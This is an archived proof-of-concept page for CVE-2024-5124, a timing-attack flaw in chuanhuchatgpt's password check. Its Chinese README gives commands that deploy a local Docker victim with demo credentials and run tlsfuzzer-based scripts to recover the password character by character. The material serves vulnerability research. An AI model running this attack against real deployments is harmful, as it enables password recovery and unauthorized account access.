Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2024-5124 PoC — Timing Attack Vulnerability in gaizhenbiao/chuanhuchatgpt

Source
Associated Vulnerability
Title:Timing Attack Vulnerability in gaizhenbiao/chuanhuchatgpt (CVE-2024-5124)
Description:A timing attack vulnerability exists in the gaizhenbiao/chuanhuchatgpt repository, specifically within the password comparison logic. The vulnerability is present in version 20240310 of the software, where passwords are compared using the '=' operator in Python. This method of comparison allows an attacker to guess passwords based on the timing of each character's comparison. The issue arises from the code segment that checks a password for a particular username, which can lead to the exposure of sensitive information to an unauthorized actor. An attacker exploiting this vulnerability could potentially guess user passwords, compromising the security of the system.
Description
CVE-2024-5124 poc
Readme
# 关于CVE-2024-5124

在 `gaizhenbiao/chuanhuchatgpt` 仓库中,存在一个时间攻击漏洞,具体问题出现在密码比较逻辑中。该漏洞出现在软件版本 20240310 中,问题源于使用 Python 中的 `=` 运算符进行密码比较。

这种比较方式会使得攻击者能够根据每个字符比较的时间差来推测密码。

问题出在检查某个用户名密码的代码片段中,攻击者可以利用这个漏洞,从而泄露敏感信息,未经授权的人可能会猜测出用户密码,进而危及系统的安全。

----

# 部署受害者服务器:

## 安装 Docker

```bash
# 安装所需的包

sudo apt-get update
sudo apt install --yes ca-certificates curl
sudo install -m 0755 -d /etc/apt/keyrings
sudo curl -fsSL https://download.docker.com/linux/debian/gpg -o /etc/apt/keyrings/docker.asc
sudo chmod a+r /etc/apt/keyrings/docker.asc

# 将 Docker 仓库添加到 Apt 源:

echo \
  "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/debian \
  $(. /etc/os-release && echo "$VERSION_CODENAME") stable" | \
  sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt-get update

# 下载 GPG 密钥并更新系统的仓库

curl -fsSL https://download.docker.com/linux/debian/gpg | gpg --dearmor -o /usr/share/keyrings/docker.gpg
echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker.gpg] https://download.docker.com/linux/debian bookworm stable" |tee /etc/apt/sources.list.d/docker.list > /dev/null 
apt update 

# 安装 Docker 包

sudo apt install --yes docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin
```

## 启动受害者服务器

```bash
export JSON='{
    "users": [["openai", "isCloseAi"]]
}' ; sudo docker run -e language=en_US -it tuchuanhuhuhu/chuanhuchatgpt:20240310 /bin/bash -c "apt update && apt install --yes git && pip install itsdangerous gradio && echo '${JSON}' > config.json && sed -i 's/share=share/share=True/g' ChuanhuChatbot.py && python3 -u ChuanhuChatbot.py 2>&1 | tee /var/log/application.log"
```

---

# 部署漏洞攻击工具:

## I 安装 tlsfuzzer

```bash
sudo apt install --yes virtualenv
virtualenv -p python3 venv3
source venv3/bin/activate
pip install --pre tlslite-ng
git clone https://github.com/tlsfuzzer/tlsfuzzer

pip install requests argparse
```

## II 运行漏洞攻击工具

请始终将参数 `--clock-frequency` 设置为 `1000`,例如:`--clock-frequency 1000`。无需使用 `watch -n 1 "cat /proc/cpuinfo | grep 'MHz'"` 来猜测时钟频率。

### 小写字符攻击:

```bash
rm -r tmpdir/ && mkdir tmpdir/ ;
python3 CVE-2024-5124/main.py -r 1000 -c a -c b -c c -c d -c e -c f -c g -c h -c i -c j -c k -c l -c m -c n -c o -c p -c q -c r -c s -c t -c u -c v -c w -c x -c y -c z "out.csv" &&
PYTHONPATH=tlsfuzzer ./tlsfuzz-venv/bin/python ./CVE-2024-5124/step2like.py -r 1000 -c a -c b -c c -c d -c e -c f -c g -c h -c i -c j -c k -c l -c m -c n -c o -c p -c q -c r -c s -c t -c u -c v -c w -c x -c y -c z -o ./tmpdir/ &&
PYTHONPATH=tlsfuzzer tlsfuzz-venv/bin/python3 tlsfuzzer/tlsfuzzer/extract.py --raw-times out.csv -o ./tmpdir/ --clock-frequency 1000 -l ./tmpdir/log.csv &&
PYTHONPATH=tlsfuzzer tlsfuzz-venv/bin/python3 tlsfuzzer/tlsfuzzer/analysis.py -o tmpdir/ --verbose
```

### 大写字符攻击:

```bash
rm -r tmpdir/ && mkdir tmpdir/ ;
python3 CVE-2024-5124/main.py -r 10000 -c a -c b -c c -c d -c e -c f -c g -c h -c i -c j -c k -c l -c m -c n -c o -c p -c q -c r -c s -c t -c u -c v -c w -c x -c y -c z -c A -c B -c D -c E -c F -c G -c H -c I -c J -c K -c L -c M -c N -c O -c P -c Q -c R -c S -c T -c U -c V -c W -c X -c Y -c Z "out.csv" &&
PYTHONPATH=tlsfuzzer ./tlsfuzz-venv/bin/python ./CVE-2024-5124/step2like.py -r 10000 -c a -c b -c c -c d -c e -c f -c g -c h -c i -c j -c k -c l -c m -c n -c o -c p -c q -c r -c s -c t -c u -c v -c w -c x -c y -c z -c A -c B -c D -c E -c F -c G -c H -c I -c J -c K -c L -c M -c N -c O -c P -c Q -c R -c S -c T -c U -c V -c W -c X -c Y -c Z -o ./tmpdir/ &&
PYTHONPATH=tlsfuzzer tlsfuzz-venv/bin/python3 tlsfuzzer/tlsfuzzer/extract.py --raw-times out.csv -o ./tmpdir/ --clock-frequency 1000 -l ./tmpdir/log.csv &&
PYTHONPATH=tlsfuzzer tlsfuzz-venv/bin/python3 tlsfuzzer/tlsfuzzer/analysis.py -o tmpdir/ --verbose
```

### 完整流程:

```bash
rm -r tmpdir/ && mkdir tmpdir/ ;
python3 CVE-2024-5124/main.py -r 10000 -c a -c b -c c -c d -c e -c f -c g -c h -c i -c j -c k -c l -c m -c n -c o -c p -c q -c r -c s -c t -c u -c v -c w -c x -c y -c z -c A -c B -c D -c E -c F -c G -c H -c I -c J -c K -c L -c M -c N -c O -c P -c Q -c R -c S -c T -c U -c V -c W -c X -c Y -c Z "out.csv" &&
PYTHONPATH=tlsfuzzer ./tlsfuzz-venv/bin/python ./CVE-2024-5124/step2like.py -r 10000 -c a -c b -c c -c d -c e -c f -c g -c h -c i -c j -c k -c l -c m -c n -c o -c p -c q -c r -c s -c t -c u -c v -c w -c x -c y -c z -c A -c B -c D -c E -c F -c G -c H -c I -c J -c K -c L -c M -c N -c O -c P -c Q -c R -c S -c T -c U -c V -c W -c X -c Y -c Z -o ./tmpdir/ &&
PYTHONPATH=tlsfuzzer tlsfuzz-venv/bin/python3 tlsfuzzer/tlsfuzzer/extract.py --raw-times out.csv -o ./tmpdir/ --clock-frequency 1000 -l ./tmpdir/log.csv &&
PYTHONPATH=tlsfuzzer tlsfuzz-venv/bin/python3 tlsfuzzer/tlsfuzzer/analysis.py -o tmpdir/ --verbose
```

然后,猜测的字符将是文件 `./tmpdir/box_plot.png` 中值最高的字符。

---

如果你希望在云服务器上运行,可以按如下方式操作:

```bash
export JSON='{
    "users": [["openai", "isCloseAi"]]
}' ;

export DOCKER_CMD="apt update && apt install --yes git && pip install itsdangerous gradio && echo '${JSON}' > config.json && sed -i 's/share=share/share=True/g' ChuanhuChatbot.py && python3 -u ChuanhuChatbot.py 2>&1 | tee /var/log/application.log"

export DOCKER_RUN='sudo docker run -e language=en_US -it tuchuanhuhuhu/chuanhuchatg

pt:20240310 /bin/bash -c "${DOCKER_CMD}"'
```
File Snapshot

[4.0K] /data/pocs/49fed1ebe8e01ec12ea60bf343c0937b06d1cf44 ├── [ 11K] LICENSE ├── [2.0K] main.py ├── [5.8K] README.md └── [2.3K] step2like.py 0 directories, 4 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →